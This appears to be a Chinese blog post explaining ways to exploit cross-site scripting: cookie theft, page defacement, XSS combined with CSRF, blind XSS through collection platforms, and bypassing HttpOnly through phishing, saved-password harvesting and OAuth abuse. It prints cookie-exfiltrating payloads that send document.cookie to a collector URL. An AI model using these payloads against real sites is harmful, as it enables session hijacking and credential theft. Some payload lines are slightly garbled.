XSS漏洞的利用

利用XSS窃取cookie

窃取cookie是xss利用最常见的手段,攻击者有了cookie就相当于拥有了“管理员”身份。

通常需要配合xss平台来进行攻击,当被攻击者访问到有恶意代码的页面,他的cookie就会被发送到xss平台。

常用获取cookie的js代码如下:

<imgsrc="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>

<script>newImage().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>

其中本地的XSS_cookie.php中的内容如下:

图片

XSS修改网页

该利用方式的前提是网站必须存在存储型xss漏洞,并且会将结果返回到页面上。

我们可以在源码中插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。

也可以构造弹窗等诱导被攻击者输入账号密码等关键信息。

XSS获取用户信息

利用xss除了能够获取用户cookie,还能获取诸如浏览器版本、外网IP地址、浏览器安装的插件类型等信息。

比如alert(navigator.userAgent); 能够读取userAgent内容;利用java环境,调用java Applet的接口获取客户端本地ip等。

XSS+CSRF 组合拳

组合拳思路

存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)

存储型XSS + CSRF

其中存储型xss payload:

<scriptsrc="x"οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

可知该javascript脚本会打开http://localhost/csrf.html的窗口。

我们可以通过csrf利用工具生成隐匿的恶意csrf.html文件,再通过存储型xss模拟用户访问该页面,最终达成在用户不知不觉的情况下执行跨站请求的操作。

盲打XSS(Blind XSS)

成因
常规的XSS攻击是通过页面返回内容中JS攻击代码的生效与否来判断XSS的攻击是否成功;

而对于一些网页功能,比如反馈,我们可以发现,不管你提交什么内容,返回的内容都是”感谢您的反馈”类似的语句,并不会根据你提交的内容而在页面中显示不同的内容

对于这样的内容提交点,就无法通过页面反馈判断攻击代码是否注入成功,那么就可以通过XSS盲打。

Blind XSS 是一种持久型的XSS,依靠目标web页面的代码中的漏洞,允许恶意代码插入到web控件中,被服务器存储到数据库或者网站设置文件中。

这些恶意代码将被作为HTML响应页面的一部分向其他用户提供服务,而不会被检测。

常见场景
盲打XSS的常见目标:登录表单及论坛/留言板

登录表单经常从网页接收输入的用户名,并将它保存到一个之后可以被查看的日志文件中。

因此,一次在登录表单的“用户名”模块输入恶意代码后的失败的登录,将会导致服务器将输入保存到日志中,这样日志中就将恶意代码当做“用户名”保存。

攻击者可以执行一些这样的登录尝试,为了将恶意代码传入到日志数据库中或日志文件中。

当管理员通过web的形式浏览日志时,恶意代码就会被执行。

类似于之前的场景,攻击者也可以在论坛或留言板的主题标题中插入恶意代码。

服务器通常会将它们提交的数据保存到数据库中,并且存储的信息对其他人可见,比如版主等。

利用

XSS盲打一般通过XSS盲打平台,在XSS盲打平台建立项目,会生成项目攻击链接,实际上就是一个类似JS文件的访问链接,这个JS文件中其中至少包含一个功能,那就是向盲打平台发送GET/POST请求传输数据回来

比如Cookie,这样的话,类似在反馈页面提交的攻击代码一旦生效,就等于JS代码被执行,那么就会向盲打平台返回数据,那就说明攻击成功了;

假如一直没有返回数据,那就说明提交的攻击代码没有执行或者执行出问题,也就证明攻击失败。

开启HttpOnly下的利用

HttpOnly概念:HttpOnly是Set-Cookie HTTP响应头中包含的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险(如果浏览器支持它)。

如果HTTP响应头中包含HttpOnly标志,客户端脚本就无法访问cookie。

因此,即使存在跨站点脚本(XSS)缺陷,且用户意外访问利用此漏洞的链接,浏览器也不会向第三方透露cookie。

那么我们可以通过XSS直接在源站上完成操作,不直接获取cookie。

1.phpinfo页

伪造对方身份访问同站的phpinfo页面,因为同域所以通过ajax提交访问可以读取到responseText,其中$_SERVER[“HTTP_COOKIE”]会打印出具有httponly属性的cookies。

优点:成功率很高,最不容易被察觉,也是最常用的一种方式。

缺点:需要phpinfo页,条件苛刻。

2.框架钓鱼

通过标签嵌入一个远程域,完全撑开后,以覆盖原有的页面。

优点:无跳转,域名无改变。

缺点:通常会覆盖某个正常的页面,管理员易察觉。

3.跳转钓鱼

通过购买相似域名,构建相同的钓鱼页面,使受害者跳转至钓鱼站。

优点:主动性较强,可主动钓鱼。

缺点:成本较高,且由于页面跳转过于明显,所以此方法十分容易被发现。

4.历史密码

通过js伪造登录表单,欺骗浏览器自动填入,由此获取浏览器记住的历史密码。

优点:不易被发现,可直接获取明文,成功率较高。

缺点:各内核浏览器兼容性不一,最新版google已不支持http协议下的自动填入功能。

5.获取源码

通过xss获取后端页面源码,常常可以发现一些越权访问,或者配合CSRF打组合拳去添加新用户或者执行其他的功能,以及通过审计后台js发现一些漏洞等。

优点:信息获取的比较详细,也可以获取到后台账号名称。

缺点:局限性较大,不易于利用。

6.通过xss伪造oauth等授权请求,远程登录

Oauth简介
Oauth这种机制允许第三方获取用户账户的长期访问权限,之前已经有攻击者滥用过该机制,诱骗用户点击授权按钮。

授权第三方应用后,用户可以为第三方应用提供一个长期可用的令牌,第三方应用可以通过不同方式,利用该令牌访问用户账户。

这是在cookie受保护的情况下,攻击者能够长期有效、不受限制、隐蔽地访问受害者账户的方法。

由于我们能以用户的身份执行一些操作(无cookie情况下),那么只要Oauth的授权页面与XSS点同源,那么就能以用户的身份安装Oauth应用。

其它

xss的利用方式多种多样,远不止以上的几种,比方说还能够利用XSS+CSRF组合拳来添加管理员、利用html5的canvas来截取客户的屏幕,还有针对移动端的xss攻击等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

征__程

多动手,避免老年痴呆,活跃身心

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值